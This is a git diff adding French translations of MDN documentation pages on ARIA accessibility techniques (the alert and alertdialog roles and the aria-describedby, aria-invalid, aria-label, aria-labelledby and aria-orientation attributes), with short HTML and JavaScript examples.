  • Grid (tableau, contenant les rôles row (ligne), gridcell (cellule), rowheader (en-tête de ligne) et columnheader (en-tête de colonne))
    • +
  • Menubar / Menu (contenant les rôles menuitem, menuitemcheckbox et menuitemradio)
    • +
  • Listbox (boîte de liste, contenant le rôle option)
    • +
  • Tablist (boîte à onglets, contenant les rôles tab et tabpanel)
    • +
  • Tree (arbre, contenant les rôles group et treeitem)
    • +
  • Radiogroup (voir le rôle Radio)
    • +
  • Treegrid
    • +
+

Rôles de structure de document

+ +

Rôles de points de repère

+
    +
  • Application
    • +
  • Banner
    • +
  • Complementary
    • +
  • Contentinfo
    • +
  • Form
    • +
  • Main
    • +
  • Navigation
    • +
  • Search
    • +
+

États et propriétés

+

Attributs de composants d’interface

+ +

Attributs de zones « live »

+
    +
  • aria-live
    • +
  • aria-relevant
    • +
  • aria-atomic
    • +
  • aria-busy
    • +
+

Attributs de glisser-déposer

+
    +
  • aria-dropeffect
    • +
  • aria-dragged
    • +
+

Attributs de relation

+ diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_alert_role/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_alert_role/index.html new file mode 100644 index 0000000000..990d7dff4a --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_alert_role/index.html @@ -0,0 +1,134 @@ +--- +title: Utilisation du rôle alert +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_alert +tags: + - ARIA + - Accessibilité + - Rôle + - À relire +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_alert_role +--- +

Description

+ +
+

Cette technique présente l’utilisation du rôle alert (en) et décrit les effets produits sur les navigateurs et les technologies d’assistance.

+
+ +

Le rôle alert est utilisé pour communiquer un message important et généralement avec une notion d'urgence à l’utilisateur. Lorsque ce rôle est ajouté à un élément, le navigateur émettra un événement d'alerte accessible aux produits de technologie d’assistance qui pourront alors le notifier à l’utilisateur. Le rôle alert est le plus utile lorsqu’il s’agit d’attirer l’attention de l’utilisateur, par exemple si :

+ +
    +
  • Une valeur non valide a été saisie dans un champ de formulaire ;
    • +
  • La session d’un utilisateur est sur le point d’expirer ;
    • +
  • La connexion au serveur a été interrompue, les modifications locales ne seront pas sauvegardées.
    • +
+ +

De fait de sa nature intrusive, le rôle alert doit être utilisé avec parcimonie et uniquement dans les situations où l’attention de l’utilisateur est immédiatement requise. Les changements dynamiques de moindre urgence devraient utiliser une méthode moins agressive, telle que aria-live="polite" ou autres rôles de zone live.

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Lorsque le rôle alert est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes :

+ +
    +
  • Présenter l’élément ayant un rôle d’alerte à l’API d’accessibilité du système d’exploitation ;
    • +
  • Déclencher un événement d'alerte accessible à l’aide l’API d’accessibilité du système d’exploitation si elle le prend en charge.
    • +
+ +

Les technologies d’assistance devraient être à l’écoute de tels évènements et les notifier à l’utilisateur en conséquence :

+ +
    +
  • Les lecteurs d’écran peuvent interrompre la sortie en cours (qu’elle soit vocale ou en braille) et immédiatement annoncer ou afficher le message d’alerte ;
    • +
  • Les loupes ou agrandisseurs d’écran peuvent indiquer qu’une alerte est survenue et quel en est le texte.
    • +
+ +
Note : plusieurs points de vue existent sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 : Ajout du rôle dans le code HTML

+ +

L’extrait de code ci-dessous montre comment le rôle alert est directement ajouté dans le code source HTML. Au moment où l’élément finit de se charger, le lecteur d’écran doit être notifié de l’alerte. Si l’élément était dans le code source original lorsque la page s’est chargée, le lecteur d’écran annonce immédiatement l’erreur après la lecture du titre de la page.

+ +
<h2 role="alert">Votre formulaire ne peut être soumis à cause de 3 erreurs de validation.</h2>
+
+ +

Exemple 2 : Ajout dynamique d'un élément avec le rôle alert

+ +

Cet extrait de code crée dynamiquement un élément avec un rôle alert et l’ajoute à la structure du document.

+ +
var myAlert = document.createElement("p");
+myAlert.setAttribute("role", "alert");
+
+var myAlertText = document.createTextNode("Vous devez accepter nos conditions d’utilisation pour créer un compte.");
+myAlert.appendChild(myAlertText);
+document.body.appendChild(myAlertText);
+
+ +

Note : le même résultat peut être obtenu avec moins de code en utilisant une bibliothèque de scripts telle que jQuery :

+ +
$("<p role='alert'>Vous devez accepter nos conditions d’utilisation pour créer un compte.</p>").appendTo(document.body);
+
+ +

Exemple 3 : Ajout d'un rôle alert à un élément existant

+ +

Parfois, il peut être utile d’ajouter un rôle alert à un élément déjà visible dans la page plutôt que de créer un nouvel élément. Ceci permet au développeur de répéter une information devenue plus pertinente ou urgente pour l’utilisateur. Par exemple, un contrôle de formulaire peut avoir des instructions sur les valeurs attendues. Si une valeur différente est saisie, role="alert" peut être ajouté au texte de l’instruction pour que le lecteur d’écran l’annonce comme une alerte. L'extrait de pseudo-code ci-dessous illustre cette approche :

+ +
<p id="formInstruction">Vous devez cocher au moins trois options</p>
+
+ +
// Lorsque l’utilisateur essaye de soumettre le formulaire avec moins de 3 cases cochées :
+document.getElementById("formInstruction").setAttribute("role", "alert");
+ +

Exemple 4 : Rendre visible un élément avec le rôle alert

+ +

Si un élément possède déjà role="alert" et qu’il est initialement caché par des règles CSS, le rendre visible déclenchera l’alerte comme si elle venait juste d’être ajoutée à la page. Cela signifie qu’une alerte existante peut être « réutilisée » plusieurs fois.

+ +

Note : dans la plupart des cas cette approche n’est pas recommandée, parce qu'il n'est pas idéal de masquer une erreur ou un texte d’alerte qui n’est pas applicable à ce moment précis. Les utilisateurs de technologies d’assistance plus anciennes pourraient toujours percevoir le texte d’alerte même si l’alerte ne s’applique pas à ce moment, faisant croire de façon erronée aux utilisateurs à l’existence d’un problème.

+ +
.hidden {
+  display:none;
+  }
+
+ +
<p id="expirationWarning" role="alert" class="hidden">Votre session expirera dans 2 minutes</p>
+
+ +
// suppression de la classe 'hidden' rend l’élément visible, ce qui entraînera l’annonce de l’alerte par le lecteur d’écran :
+document.getElementById("expirationWarning").className = "";
+ +

Exemples concrets :

+ + + +

Notes 

+ +
    +
  • L’utilisation du rôle alert sur un élément implique que cet élément a l’attribut aria-live="assertive" ;
    • +
  • Le rôle alert ne devrait être utilisé que pour du contenu texte statique. L’élément sur lequel on utilise le rôle alert ne devrait pas pouvoir recevoir le focus, car les lecteurs d’écran annonceront automatiquement l’alerte où que se trouve le focus clavier ;
    • +
  • Si une alerte fournit également des contrôles interactifs – tels que des contrôles de formulaire qui permettraient à l’utilisateur de rectifier une erreur, ou un bouton OK pour annuler l’alerte – le rôle alertdialog est préférable.
    • +
+ +

Attributs ARIA utilisés

+ + + +

Techniques ARIA connexes

+ + + +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ + diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_alertdialog_role/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_alertdialog_role/index.html new file mode 100644 index 0000000000..0894b30460 --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_alertdialog_role/index.html @@ -0,0 +1,85 @@ +--- +title: Utilisation du rôle alertdialog +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_alertdialog +tags: + - ARIA + - Accessibilité + - Développement Web + - Rôle +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_alertdialog_role +--- +

Description

+ +
+

Cette technique présente l’utilisation du rôle alertdialog role.

+
+ +

Le rôle alertdialog est utilisé pour notifier à l’utilisateur des informations urgentes qui requièrent son attention immédiate. Comme le nom l’indique, alertdialog est un type de boîte de dialogue. Cela signifie que la plupart des instructions fournies à propos de l’utilisation du rôle dialog s’appliquent également au rôle alertdialog :

+ +
    +
  • La boîte de dialogue d’alerte doit toujours avoir un nom accessible (attribué à l’aide de aria-labelledby ou de aria-label) et, dans la plupart des cas, le texte d’alerte sera marqué comme étant la description accessible de la boîte de dialogue d’alerte (définie avec de l’attribut aria-describedby).
    • +
  • Contrairement aux alertes classiques, une boîte de dialogue d’alerte doit avoir au moins un contrôle pouvant recevoir le focus et ce dernier doit s’y placer lors de l’affichage de la boîte de dialogue. Généralement les boîtes de dialogues d’alertes ont au moins un bouton de confirmation, de fermeture ou d’annulation qui peut être utilisé pour recevoir le focus. De plus, les boîtes de dialogues d’alerte peuvent avoir d’autres contrôles interactifs tels que des champs de saisie, des onglets ou des cases à cocher. Le contrôle sur lequel placer le focus dépendra de l’objet de la boîte de dialogue.
    • +
  • L’ordre de tabulation dans la boite de dialogue de l’alerte doit boucler.
    • +
+ +

La différence avec les boîtes de dialogues classiques réside dans le fait que le rôle alertdialog devrait uniquement être utilisé lorsque des alertes, des erreurs ou des avertissements ont lieu. En d’autres termes, lorsque les informations et les contrôles d’une boîte de dialogue nécessitent l’attention immédiate de l’utilisateur il est préférable d’utiliser le rôle alertdialog plutôt que dialog. Il revient au développeur de faire la distinction entre les deux.

+ +

Du fait de sa nature urgente, les boîtes de dialogues d’alertes doivent toujours être modales.

+ +
Note : ce rôle ne devrait être utilisé que pour des messages d’alertes associés à des contrôles interactifs. Si une boîte de dialogue d’alerte ne comporte que du contenu statique et qu’elle ne possède absolument aucun contrôle interactif, alertdialog n’est probablement pas le rôle le plus judicieux à utiliser. Le rôle alert est plus adapté pour ce cas (comme décrit dans l’article sur la technique d’utilisation du rôle alert).
+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Lorsque le rôle alertdialog est utilisé, l’agent utilisateur devrait suivre les étapes suivantes :

+ +
    +
  • Présenter l’élément comme une boîte de dialogue à l’API d’accessibilité du système d’exploitation.
    • +
  • Déclencher un évènement d’alerte accessible à l’aide l’API d’accessibilité du système d’exploitation si elle le prend en charge.
    • +
+ +

Lorsque la boîte de dialogue de l’alerte apparaît, les lecteurs d’écran devraient annoncer l’alerte.

+ +

Lorsque la boîte de dialogue est correctement labélisée et que le focus se place sur un contrôle qu’elle contient, les lecteurs d’écran devraient annoncer le rôle accessible de la boîte de dialogue, son nom et éventuellement sa description, avant d’annoncer l’élément qui a reçu le focus.

+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 : Une boîte de dialogue d’alerte

+ +

L’extrait de code ci-dessous présente la façon de baliser une boîte de dialogue d’alerte qui ne contient qu’un message et un bouton OK.

+ +
<div role="alertdialog" aria-labelledby="dialog1Titre" aria-describedby="dialog1Desc">
+  <div role="document" tabindex="0">
+    <h2 id="dialog1Titre">Votre session est sur le point d’expirer</h2>
+    <p id="dialog1Desc">Pour prolonger votre session, cliquez sur le bouton OK</p>
+    <button>OK</button>
+  </div>
+</div>
+ +

Exemples concrets :

+ +

À définir

+ +

Notes

+ +

Attributs ARIA utilisés

+ + + +

Techniques ARIA connexes

+ + + +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html new file mode 100644 index 0000000000..44e25b657f --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html @@ -0,0 +1,89 @@ +--- +title: Utiliser l’attribut aria-describedby +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-describedby +tags: + - ARIA + - Accessibilité + - Attribut +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute +--- +

Description

+ +
+

Cette technique présente l’utilisation de l’attribut aria-describedby.

+
+ +

L’attribut aria-describedby est utilisé pour indiquer l’identifiant des éléments qui décrivent l’objet. Il est utilisé pour établir une relation entre des composants ou des groupes et un texte les décrivant. Il est similaire à aria-labelledby : un label décrit la nature d’un objet, tandis qu’une description fournit plus d’informations pouvant être utiles à l’utilisateur.

+ +

L’attribut aria-describedby n’est pas uniquement utilisé pour des éléments de formulaire ; il peut également être utilisé pour associer un texte statique avec des composants, des groupes d’éléments, des panneaux, des zones possédant un titre, des définitions, etc. La section {{ anch("Exemples") }} ci-dessous fournit plus d’informations sur l’utilisation de cet attribut dans ces cas précis.

+ +

Cet attribut peut être utilisé avec n’importe quel élément caractéristique de formulaire HTML ; il n’est pas limité aux éléments auxquels un rôle ARIA a été assigné.

+ +

Valeurs

+ +

Une liste d’ID d’éléments séparés par des espaces

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 : Descriptions des points de repère d’une application

+ +

Dans l’exemple ci-dessous, un paragraphe d’introduction décrit une application de calendrier. aria-describedby est utilisé pour associer le paragraphe avec le conteneur de l’application.

+ +
<div role="applicaton" aria-labelledby="calendar" aria-describedby="info">
+    <h1 id="calendar">Calendrier<h1>
+    <p id="info">
+        Ce calendrier affiche les prévisions de match du Racing Métro.
+    </p>
+    <div role="grid">
+        …
+    </div>
+</div>
+
+ +

Exemple 2 : Un bouton de fermeture

+ +

Dans l’exemple ci-dessous, un lien qui fonctionne comme le bouton Fermer d’une boîte de dialogue, est décrit ailleurs dans le document. L’attribut aria-describedby est utilisé pour associer la description au lien.

+ +
<button aria-label="Fermer" aria-describedby="descriptionClose"
+    onclick="myDialog.close()">X</button>
+…
+
+<div id="descriptionClose">La fermeture de cette fenêtre entraînera la perte des informations saisies et vous renverra vers la page principale</div>
+
+ +

Exemples concrets :

+ + + +

Notes

+ +
    +
  • L’attribut aria-describedby n’est pas destiné à référencer les descriptions d’une ressource externe – comme c’est un ID, il doit référencer un élément du même document DOM.
    • +
+ +

Utilisé par les rôles ARIA

+ +

Tous les éléments de balisage de base.

+ +

Techniques ARIA connexes

+ + + +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ + diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-invalid_attribute/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-invalid_attribute/index.html new file mode 100644 index 0000000000..63ff4fc91c --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-invalid_attribute/index.html @@ -0,0 +1,125 @@ +--- +title: Utiliser l'attribut aria-invalid +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-invalid +tags: + - ARIA + - Accessibilité + - Attribut +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-invalid_attribute +--- +

Description

+ +
+

Cette technique présente l’utilisation de l’attribut aria-invalid.

+
+ +

L’attribut aria-invalid est utilisé pour indiquer que la valeur saisie dans un champ de saisie n’est pas conforme au format attendu par l’application. Cela comprend les formats tels que les adresses électroniques ou les numéros de téléphone. aria-invalid peut également être utilisé pour indiquer qu’un champ obligatoire n’a pas été rempli. L’attribut devrait être programmatiquement défini comme étant le résultat du processus de validation.

+ +

Cet attribut peut être utilisé avec n’importe quel élément de formulaire HTML typique ; il n’est pas limité aux éléments auxquels a été assigné un rôle ARIA.

+ +

Valeurs

+ +

Vocabulaire

+ +
+
false (défaut)
+
Aucune erreur détectée
+
grammar
+
Une faute de grammaire a été détectée.
+
spelling
+
Une faute d’orthographe a été détectée.
+
true
+
La valeur n’a pas passé la validation.
+
+ +

Toute valeur absente de ce vocabulaire devrait être traitée comme true.

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Les agents utilisateurs devraient informer l’utilisateur lorsqu’un champ n’est pas valide. Les développeurs d’applications devraient fournir des suggestions pour la correction du problème, lorsque c’est possible. Les auteurs devraient empêcher la soumission de formulaires contenant des erreurs.

+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournit ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 : validation d’un formulaire de base

+ +

L’extrait de code suivant décrit une version simplifiée de deux champs de formulaire avec une fonction de validation de la saisie attachée à la perte de focus. Notez que la valeur par défaut de aria-required étant false, il n’est pas strictement nécessaire d’ajouter à entrer.

+ +
<input name="nom" id="nom" aria-required="true" aria-invalid="false"
+        onblur="checkValidity('nom', ' ', 'Le nom saisi n’est pas valide (vous devez saisir un nom et un prénom)');"/>
+<br />
+<input name="courriel" id="courriel" aria-required="true" aria-invalid="false"
+        onblur="checkValidity('courriel', '@', 'L’adresse électronique saisie n’est pas valide');"/>
+
+ +

Remarquez qu’il n’est pas nécessaire de valider les champs de saisie immédiatement à la perte de focus ; l’application peut attendre jusqu’à la soumission du formulaire (bien que ce ne soit pas particulièrement recommandé).

+ +

L’extrait de code ci-dessous décrit une fonction de validation très simple qui ne vérifie que la présence d’un caractère particulier (en réalité, la validation sera un peu plus sophistiquée) :

+ +
function checkValidity(aID, aSearchTerm, aMsg){
+    var elem = document.getElementById(aID);
+    var invalid = (elem.value.indexOf(aSearchTerm) < 0);
+    if (invalid) {
+      elem.setAttribute("aria-invalid", "true");
+      updateAlert(aMsg);
+    } else {
+      elem.setAttribute("aria-invalid", "false");
+      updateAlert();
+    }
+}
+
+ +

L’extrait de code ci-dessous décrit des fonctions d’alertes, qui ajoutent (ou suppriment) le message d’erreur :

+ +
function updateAlert(msg) {
+    var oldAlert = document.getElementById("alert");
+    if (oldAlert) {
+        document.body.removeChild(oldAlert);
+    }
+
+    if (msg) {
+        var newAlert = document.createElement("div");
+        newAlert.setAttribute("role", "alert");
+        newAlert.setAttribute("id", "alert");
+        var content = document.createTextNode(msg);
+        newAlert.appendChild(content);
+        document.body.appendChild(newAlert);
+    }
+}
+
+ +

Remarquez que le rôle ARIA de l’alerte est définit comme étant "alert".

+ +

Exemples concrets :

+ +

Exemple de role d’alerte (utilisant l’attribut aria-invalid).

+ +

Notes

+ +
    +
  • Lorsque aria-invalid est utilisé en conjonction avec l’attribut aria-required, aria-invalid ne devrait pas être défini à true avant la soumission du formulaire – uniquement en réponse à la validation.
    • +
  • Les développements futurs pourraient ajouter des termes au vocabulaire utilisé pour cet attribut. Toute valeur absente du vocabulaire actuel devrait être traitée comme true.
    • +
+ +

Utilisé dans les rôles ARIA

+ +

Tous les éléments de balisage de base.

+ +

Techniques ARIA connexes

+ + + +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ + diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html new file mode 100644 index 0000000000..81fdf2ae5b --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html @@ -0,0 +1,74 @@ +--- +title: Utiliser l'attribut aria-label +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-label +tags: + - ARIA + - Accessibilité + - Attribut + - aria-label +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute +--- +

L’attribut aria-label est utilisé pour définir une légende non-visible associée à un élément HTML dont le sens est transmis uniquement par le visuel. Par exemple, une croix pour fermer une fenêtre modale.

+ +

Contexte

+ +

Pour la plupart des usagers, le contexte et l'apparence d'un élément suffisent à déterminer son rôle. Par exemple, une croix pour fermer une fenêtre modale ou une icône de hamburger pour ouvrir un menu.

+ +

En revanche, certains usagers tels que les aveugles et malvoyants ne peuvent pas faire de même. Cet attribut permet aux développeurs d'indiquer une alternative textuelle à ces contrôles visuels, qui sera lue par les technologies d'assistance. En revanche, le contenu de l'attribut aria-label ne sera pas visible pour les autres usagers.

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Les lecteurs d'écran lisent le contenu textuel de cet attribut.

+ +

Usage

+ +

L’attribut aria-label ne doit être utilisé que lorsque le texte d’un label n’est pas visible à l’écran. Si le texte du label de l’élément existe et est visible, utilisez plutôt l’attribut aria-labelledby.

+ +

Cet attribut peut être utilisé avec n’importe quel élément HTML. Néanmoins, il n'est pas nécessaire de l'utiliser si l'élément possède déjà un mécanisme pour légender son contenu. Par exemple l'élément <label> pour les éléments de formulaire, ou l'attribut alt pour les images.

+ +

Valeur

+ +
+

Une légende sous forme de chaîne de caractère.

+
+ +

Exemples

+ +

Un bouton sans contenu textuel explicite

+ +

Dans l’exemple ci-dessous, un bouton est stylé pour ressembler à un bouton « Fermer » classique, avec un X en son centre. Comme il n’existe aucune information indiquant que la fonction du bouton est de fermer la boîte de dialogue, l’attribut aria-label est utilisé pour fournir un label aux technologies d’assistance.

+ +
 <button aria-label="Fermer" onclick="myDialog.close()">X</button>
+
+ +

Un champ de saisie utilisant contentEditable

+ +

Pour proposer une expérience d'édition plus personnalisée, on pourrait utiliser une div avec l'attribut contenteditable à la place d'un élément de formulaire natif comme <textarea>. Cette situation ne permettrait pas d'associer un <label> à ce champ de saisie. Ainsi on pourrait utiliser aria-label à la place.

+ +

Pour aller plus loin

+ +

Notes

+ +

L’affectation d’API accessibilité la plus courante pour un label est la propriété de nom accessible.

+ +

Utilisé par les rôles ARIA

+ +

Tous les éléments de balisage de base.

+ +

Techniques ARIA connexes

+ + + +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ + diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html new file mode 100644 index 0000000000..34eac612ab --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html @@ -0,0 +1,160 @@ +--- +title: Utiliser l'attribut aria-labelledby +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-labelledby +tags: + - ARIA + - Accessibilité + - Attribut +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute +--- +

Description

+ +
+

Cette technique présente l’utilisation de l’attribut aria-labelledby.

+
+ +

L’attribut aria-labelledby est utilisé pour indiquer les ID des éléments qui labellisent l’objet. Il est utilisé pour établir une relation entre les composants, ou les groupes, et leurs labels. Les utilisateurs de technologies d’assistance telles que les lecteurs d’écran, naviguent généralement dans un document en tabulant entre les zones de l’écran. Si un label n’est pas associé à un élément de saisie, un composant ou un groupe, il ne sera pas lu par le lecteur d’écran.

+ +

aria-labelledby est très similaire à l’attribut aria-describedby : un label décrit la nature d’un objet, alors qu’une description fournit plus d’informations pouvant être utiles à l’utilisateur.

+ +

L’attribut aria-labelledby n’est pas uniquement utilisé avec les éléments de formulaire ; il peut également être utilisé pour associer un texte statique avec des composants, des groupes d’éléments, des panneaux, des zones possédant un titre, des définitions, etc. La section {{ anch("Exemples") }} ci-dessous fournit plus d’informations sur l’utilisation de cet attribut dans ces cas précis.

+ +

L’attribut aria-labelledby peut être utilisé en conjonction avec l’élément {{ HTMLElement("label") }} (à l’aide de l’attribut for) pour améliorer la compatibilité avec les agents utilisateurs qui ne prennent pas encore en charge ARIA.

+ +

Cet attribut peut être utilisé avec n’importe quel élément caractéristique de formulaire HTML ; il n’est pas limité aux éléments auxquels un rôle ARIA a été assigné.

+ +

Valeurs

+ +

Une liste d’ID d’éléments séparés par des espaces

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Lorsque les deux attributs aria-labelledby et aria-label sont utilisés, les agents utilisateurs donnent la priorité à aria-labelledby lors du calcul de la propriété de nom accessible.

+ +

Exemples

+ +

Exemple 1 : Labels multiples

+ +

Dans l’exemple ci-dessous, chaque champ de saisie est labellisé à la fois avec son propre label individuel et avec le label pour le groupe :

+ +
<div id="facturation">Facturation</div>
+
+<div>
+  <div id="nom">Nom</div>
+
+  <input type="text" aria-labelledby="nom facturation"/>
+</div>
+
+<div>
+  <div id="adresse">Adresse</div>
+
+  <input type="text" aria-labelledby="adresse facturation"/>
+</div>
+
+ +

Exemple 2 : Association de titres et de zones

+ +

Dans l’exemple ci-dessous, les éléments d’en-têtes sont associés avec les contenus dont ils sont les intitulés. Notez que la zone référencée est celle qui contient l’en-tête.

+ +
<div role="main" aria-labelledby="foo">
+  <h1 id="foo">Le feu devenu incontrôlable gagne les abords d’Aubagne</h1>
+  Un fort mistral a propagé le feu de forêt qui s’est déclaré ce lundi soir suite aux fortes températures de ces derniers jours…
+</div>
+
+ +

Exemple 3 : Groupes de boutons radio

+ +

Dans l’exemple ci-dessous, le conteneur d’un radiogroup est associé avec son label à l’aide de l’attribut aria-labelledby :

+ +
<div id="radio_label">My radio label</div>
+
+<ul role="radiogroup" aria-labelledby="radio_label">
+  <li role="radio">Élément №1</li>
+  <li role="radio">Élément №2</li>
+  <li role="radio">Élément №3</li>
+</ul>
+
+ +

Exemple 4 : Titre de boite de dialogue

+ +

Dans l’exemple ci-dessous, l’élément d’en-tête qui labellise la boite de dialogue y est relié par l’attribut aria-labelledby :

+ +
<div role="dialog" aria-labelledby="titreDialogue">
+  <h2 id="titreDialogue">Choisir un fichier</h2>
+  … Contenus de la boîte de dialogue
+</div>
+
+ +

Exemple 5 : Définition intégrée

+ +

Dans l’exemple ci-dessous, la définition d’un terme qui est décrit dans le flux naturel de la narration, est associée au terme lui-même à l’aide de l’attribut aria-labelledby:

+ +
<p>Le docteur expliqua que c’était un <dfn id="placebo">placebo</dfn>, <span role="definition" aria-labelledby="placebo"> ou
+une préparation inerte prescrite plus pour le soulagement mental du patient que ses effets possible sur une pathologie.</span>
+</p>
+
+ +

Exemple 6 : Listes de définitions

+ +

Dans l’exemple ci-dessous, les définitions sont associées avec les termes qu’elles définissent à l’aide de l’attribut aria-labelledby :

+ +
<dl>
+  <dt id="anatheme">anathème</dt>
+    <dd role="definition" aria-labelledby="anatheme">une interdiction ou une condamnation prononcée par une autorité ecclésiastique
+                                         et accompagnée de l’excommunication</dd>
+    <dd role="definition" aria-labelledby="anatheme">une dénonciation vigoureuse&nbsp;: condamnation</dd>
+
+  <dt id="homelie">homélie</dt>
+    <dd role="definition" aria-labelledby="homelie">généralement un sermon court</dd>
+    <dd role="definition" aria-labelledby="homelie">une lecture ou un discours sur un thème moral</dd>
+
+</dl>
+
+ +

Exemple 7 : Menus

+ +

Dans l’exemple ci-dessous, un menu contextuel est associé avec son label à l’aide de l’attribut aria-labelledby :

+ +
<div role="menubar">
+  <div role="menuitem" aria-haspopup="true" id="fichierMenu">Fichier</div>
+  <div role="menu" aria-labelledby="fichierMenu">
+    <div role="menuitem">Ouvrir</div>
+    <div role="menuitem">Enregistrer</div>
+    <div role="menuitem">Enregistrer sous…</div>
+    …
+  </div>
+…
+</div>
+
+ +

Exemples concrets :

+ + + +

Notes

+ +

L’affectation d’API accessibilité la plus courante pour un label est la propriété de nom accessible.

+ +

Utilisé par les rôles ARIA

+ +

Tous les éléments de balisage de base.

+ +

Techniques ARIA connexes

+ + + +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

+ + diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-orientation_attribute/index.html b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-orientation_attribute/index.html new file mode 100644 index 0000000000..289379c098 --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_aria-orientation_attribute/index.html @@ -0,0 +1,75 @@ +--- +title: Utiliser l'attribut aria-orientation +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-orientation +tags: + - ARIA + - Accessibilité + - Attribut +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-orientation_attribute +--- +

Description

+ +
+

Cette technique présente l’utilisation de l’attribut aria-orientation.

+
+ +

L’attribut aria-orientation est utilisé pour indiquer si un élément est orienté verticalement ou horizontalement.

+ +

Valeurs

+ +

Vocabulaire

+ +
+
vertical
+
L’élément est orienté verticalement.
+
horizontal (défaut)
+
L’élément est orienté horizontalement.
+
+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 :

+ +

L’extrait de code ci-dessous présente un curseur simple orienté verticalement.

+ +
<a href="#" id="handle_zoomSlider"
+  role="slider"
+  aria-orientation="vertical"
+  aria-valuemin="0"
+  aria-valuemax="17"
+  aria-valuenow="14" >
+    <span>11</span>
+</a>
+
+ +

Exemples concrets :

+ + + +

Notes

+ +

Utilisé avec les rôles ARIA

+ +
    +
  • scrollbar ;
    • +
  • slider ;
    • +
  • separator.
    • +
+ +

Techniques ARIA connexes

+ +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

